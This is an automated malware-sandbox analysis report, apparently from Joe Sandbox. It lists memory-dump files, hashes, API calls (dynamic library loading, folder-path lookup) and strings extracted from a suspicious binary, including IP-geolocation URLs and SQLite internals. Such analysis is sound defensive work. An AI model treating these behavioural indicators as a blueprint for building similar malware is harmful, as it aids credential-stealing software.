Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: CreateDirectory$ErrorFolderLastPath
String ID: ;Yb.$cannot use operator[] with a string argument with $cannot use push_back() with $h0Y+$~]d
API String ID: 3244528402-1913951028
Opcode ID: d9fb73760905bbc4a8a612656e15afc5901dbdef26343a2172c724be8ec3820c
Instruction ID: 6780e8a3e2a9153b2ee20e6725d3880d206059bdd504ef83b30f24809506c43a
Opcode Fuzzy Hash: d9fb73760905bbc4a8a612656e15afc5901dbdef26343a2172c724be8ec3820c
Instruction Fuzzy Hash: E693DCB4D052A98ADB65CF28C990BEDBBB1BF59300F1081EAD94DA7241DB742BC4CF45

Function 00159C90 Relevance: 12.4, APIs: 8, Instructions: 357
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 00159D32
GetProcAddress.KERNEL32(?), ref: 00159E3D
GetProcAddress.KERNEL32(?), ref: 00159F36
GetProcAddress.KERNEL32(?), ref: 00159FBB
GetProcAddress.KERNEL32(?), ref: 0015A055
GetProcAddress.KERNEL32(?), ref: 0015A0EF
GetProcAddress.KERNEL32(?), ref: 0015A189
GetProcAddress.KERNEL32(?), ref: 0015A223

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ceafbd1e00d0d8dd31ff9a2857fd2f76694f84671751822f08a4a18721ca6fbf
Instruction ID: 6e77aeeda8da99b2eea2927231b6cf37627a166229c20d14c7d30277c003ce46
Opcode Fuzzy Hash: ceafbd1e00d0d8dd31ff9a2857fd2f76694f84671751822f08a4a18721ca6fbf
Instruction Fuzzy Hash: 3C2257B8D05218EFCB15CF99E985AEDBBB1FF48310F2081AAE849A7350D7345A81DF45

Function 002186C0 Relevance: 11.9, Strings: 8, Instructions: 1915
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

https://www.maxmind.com/en/locate-my-ip-address, xrefs: 0021A927
%s|%s, xrefs: 0021F4EF
\m-, xrefs: 0021B801
WVj, xrefs: 0021F53B
Content-Type: application/x-www-form-urlencoded, xrefs: 002187F2, 00218E65, 00219E03
j@h, xrefs: 0021F35A
https://ipinfo.io/, xrefs: 0021954B
4n-, xrefs: 0021B40A

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID: %s|%s$4n-$Content-Type: application/x-www-form-urlencoded$WVj$\m-$https://ipinfo.io/$https://www.maxmind.com/en/locate-my-ip-address$j@h
API String ID: 0-1444981898
Opcode ID: 2e4b76ab07279cbb25c154044e2b701706ab632e72019aa6df5e464a42d10964
Instruction ID: f0fd15d166ae0352cdc92d0f57ac633a90de4c2d941ab3d232804085ff7ed5f6
Opcode Fuzzy Hash: 2e4b76ab07279cbb25c154044e2b701706ab632e72019aa6df5e464a42d10964
Instruction Fuzzy Hash: 3B330DB0D052688BDB29DF68C994BEDBBB0AF69300F1041E9E449BB281DB751F84CF55

Function 0024AD00 Relevance: 9.2, Strings: 7, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

RTRIM, xrefs: 0024AF68
MATCH, xrefs: 0024B108, 0024B119, 0024B139, 0024B13A, 0024B150
no such vfs: %s, xrefs: 0024AEB7
sqlite_rename_table, xrefs: 0024B0E4
NOCASE, xrefs: 0024B02A
BINARY, xrefs: 0024AF25, 0024AF34, 0024AF4E, 0024AF8E, 0024AF99, 0024AFB1, 0024B003, 0024B004
automatic extension loading failed: %s, xrefs: 0024B22C

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID: BINARY$MATCH$NOCASE$RTRIM$automatic extension loading failed: %s$no such vfs: %s$sqlite_rename_table
API String ID: 0-1885142750
Opcode ID: 1aaa2b8171da3bcd0d321287fb24ab37844a33e00e9d31b615112ea79c8d31a9
Instruction ID: f4d0218f69f2c09abe2972cddc9b18a923cfa79b7d7bbc90cd9624876561c06d
Opcode Fuzzy Hash: 1aaa2b8171da3bcd0d321287fb24ab37844a33e00e9d31b615112ea79c8d31a9
Instruction Fuzzy Hash: 89022770E207019FEB26DF25EC4AB6B7BE4EF40304F14452DE84A97691E7B1E960CB91

Function 001F6250 Relevance: 9.1, APIs: 1, Strings: 3, Instructions: 2137COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 001F62EB

Strings

h0Y+, xrefs: 001F87FF
n: , xrefs: 001F94EC
cannot use operator[] with a string argument with , xrefs: 001F87AB, 001F87E0, 001F8821

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: FolderPath
String ID: cannot use operator[] with a string argument with $h0Y+$n:
API String ID: 1514166925-612982972
Opcode ID: 41e98fb31ae498cdb21f15ac9b45b18e2af73fd102e86bb7cdd5a23b66a34011
Instruction ID: da89ae3288627c9cce3008e342f63d601e3f766f256a651fa9f5882029f0700c
Opcode Fuzzy Hash: 41e98fb31ae498cdb21f15ac9b45b18e2af73fd102e86bb7cdd5a23b66a34011
Instruction Fuzzy Hash: 133342B0D042698BDB25CF68C9947EDBBB1BF58304F1082D9D449AB282EB746F85CF51

Function 001F88B0 Relevance: 3.2, Strings: 2, Instructions: 701COMMON

Download Yara Rule

Strings

7, xrefs: 001F89A7
h0Y+, xrefs: 001F9376

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
